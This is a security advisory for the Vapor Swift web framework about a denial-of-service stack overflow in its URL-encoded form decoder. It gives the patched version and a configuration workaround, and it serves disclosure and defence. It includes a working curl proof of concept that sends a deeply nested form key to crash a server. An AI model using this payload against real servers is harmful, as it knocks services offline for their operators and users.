Vapor is an HTTP web framework for Swift. Vapor versions earlier than 4.61.1 are vulnerable to a denial of service in the URLEncodedFormDecoder.
When using automatic content decoding, e.g.
app.post("foo") { request -> String in
let foo = try request.content.decode(Foo.self)
return "\(foo)"
}
An attacker can craft a request body that can make the server crash with the following request:
curl -d "array[_0][0][array][_0][0][array]$(for f in $(seq 1100); do echo -n '[_0][0][array]'; done)[string][_0]=hello%20world" http://localhost:8080/foo
The issue is unbounded, attacker controlled stack growth which will at some point lead to a stack overflow.
Fixed in 4.61.1
If you don't need to decode Form URL Encoded data, you can disable the ContentConfiguration
so it won't be used. E.g. in configure.swift
var contentConfig = ContentConfiguration()
contentConfig.use(encoder: JSONEncoder.custom(dates: .iso8601), for: .json)
contentConfig.use(decoder: JSONDecoder.custom(dates: .iso8601), for: .json)
contentConfig.use(encoder: JSONEncoder.custom(dates: .iso8601), for: .jsonAPI)
contentConfig.use(decoder: JSONDecoder.custom(dates: .iso8601), for: .jsonAPI)
ContentConfiguration.global = contentConfig
If you have any questions or comments about this advisory: * Open an issue in the Vapor repo * Ask in Vapor Discord